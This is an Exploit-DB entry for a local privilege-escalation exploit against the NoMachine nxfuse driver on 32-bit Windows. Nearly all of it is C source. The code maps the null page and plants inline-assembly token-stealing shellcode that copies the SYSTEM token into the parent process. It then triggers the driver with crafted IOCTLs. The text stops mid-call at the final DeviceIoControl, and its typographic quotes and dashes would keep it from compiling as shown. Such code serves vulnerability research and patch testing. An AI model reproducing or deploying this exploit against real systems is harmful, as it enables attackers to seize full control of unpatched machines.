Exploit-DB #44167
Description: NoMachine < 6.0.80 (x86) - 'nxfuse' Privilege Escalation
Type: local
Platform: windows_x86
Date: 2018-02-22
Author: Fidus InfoSecurity

Exploit:
#include “stdafx.h”

#include <Windows.h>

 

#define DEVICE L”\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061″

#define DEVICE2 L”\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”

#define IOCTL 0x00222014

#define IOCTL2 0x00222030

#define OUT_SIZE 0x90

#define IN_SIZE 0x10

 

#define KTHREAD_OFFSET 0x124

#define EPROCESS_OFFSET 0x050

#define PID_OFFSET 0x0b4

#define FLINK_OFFSET 0x0b8

#define TOKEN_OFFSET 0x0f8

#define SYSTEM_PID 0x004

#define PARENT_PID 0x140

 

__declspec(naked)VOID TokenStealingShellcode()

{

            __asm{

            xor eax, eax;

            mov eax, fs:[eax + KTHREAD_OFFSET];

            mov eax, [eax + EPROCESS_OFFSET];

            mov esi, [eax + PARENT_PID]; Get parent pid

 

            Loop1:

                        mov eax, [eax + FLINK_OFFSET];

                        sub eax, FLINK_OFFSET;

                        cmp esi, [eax + PID_OFFSET];

                        jne Loop1;

           

            mov ecx, eax;

            mov ebx, [eax + TOKEN_OFFSET];

            mov edx, SYSTEM_PID;

 

            Search:

                        mov eax, [eax + FLINK_OFFSET];

                        sub eax, FLINK_OFFSET;

                        cmp[eax + PID_OFFSET], edx;

                        jne Search;

           

            mov edx, [eax + TOKEN_OFFSET];

            mov[ecx + TOKEN_OFFSET], edx;

            add esp, 0x58;

            add[esp], 5;

            ret 4;

            }

}

 

typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(

            HANDLE ProcessHandle,

            PVOID *BaseAddress,

            ULONG ZeroBits,

            PULONG AllocationSize,

            ULONG AllocationType,

            ULONG Protect

            );

 

typedef NTSTATUS(WINAPI *PNtFreeVirtualMemory)(

            HANDLE ProcessHandle,

            PVOID *BaseAddress,

            PULONG RegionSize,

            ULONG FreeType

            );

 

int main()

{

            HMODULE module = LoadLibraryA(“ntdll.dll”);

            PNtAllocateVirtualMemory AllocMemory = (PNtAllocateVirtualMemory)GetProcAddress(module, “NtAllocateVirtualMemory”);

            PNtFreeVirtualMemory FreeMemory = (PNtFreeVirtualMemory)GetProcAddress(module, “NtFreeVirtualMemory”);

 

            SIZE_T size = 0x1000;

            PVOID address1 = (PVOID)0x05ffff00;

           

 

            NTSTATUS allocStatus = AllocMemory(GetCurrentProcess(),

                        &address1,

                        0,

                        &size,

                        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,

                        PAGE_EXECUTE_READWRITE);

           

            if (allocStatus != 0)

            {

                        printf(“[x]Couldnt alloc page\n”);

                        exit(-1);

            }

            printf(“[+] Allocated address at %p\n”, address1);

            *(ULONG *)0x05fffff4 = 5;

            *(ULONG *)0x060000ac = 0x20;

            *(ULONG *)0x060001dc = 0x05ffff00;

            *(ULONG *)(0x05ffff00 – 0x18) = 1;

            *(ULONG *)(0x05ffff00 – 0x14) = 0;

           

            PVOID address2 = (PVOID)0x1;

            SIZE_T size2 = 0x1000;

           

            allocStatus = AllocMemory(GetCurrentProcess(),

                        &address2,

                        0,

                        &size2,

                        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,

                        PAGE_EXECUTE_READWRITE);

 

            if (allocStatus != 0)

            {

                        printf(“[x]Couldnt alloc page2\n”);

                        exit(-1);

            }

            *(ULONG *)0x64 = (ULONG)&TokenStealingShellcode;

            printf(“[+] Mapped null page\n”);

 

            char inBuff[IN_SIZE];

            char outBuff[OUT_SIZE];

 

            HANDLE handle = 0;

                       

            DWORD returned = 0;

            memset(inBuff, 0x41, IN_SIZE);

            memset(outBuff, 0x43, OUT_SIZE);

 

            *(ULONG *)inBuff = 0x00000190;

            *(ULONG *)(inBuff + 4) = 0x00000001;

           

            printf(“[+] Creating nxfs-net… device through IOCTL 222014\n”);

            handle = CreateFile(DEVICE,

                                    GENERIC_READ | GENERIC_WRITE,

                                    FILE_SHARE_READ | FILE_SHARE_WRITE,

                                    NULL,

                                    OPEN_EXISTING,

                                    FILE_ATTRIBUTE_NORMAL,

                                    0);

 

            if (handle == INVALID_HANDLE_VALUE)

            {

                        printf(“[x] Couldn’t open device\n”);

                        exit(-1);

            }

 

            int ret = DeviceIoControl(handle,

                                    IOCTL,

                                    inBuff,

                                    IN_SIZE,

                                    outBuff,

                                    OUT_SIZE,

                                    &returned,

                                    0);

 

            HANDLE handle2 = CreateFile(DEVICE2,

                        GENERIC_READ | GENERIC_WRITE,

                        FILE_SHARE_READ | FILE_SHARE_WRITE,

                        NULL,

                        OPEN_EXISTING,

                        FILE_ATTRIBUTE_NORMAL,

                        0);

 

            char inBuff2[0x30];

            char outBuff2[0x30];

 

            printf(“[+] Triggering exploit…”);

 

            ret = DeviceIoControl(handle2,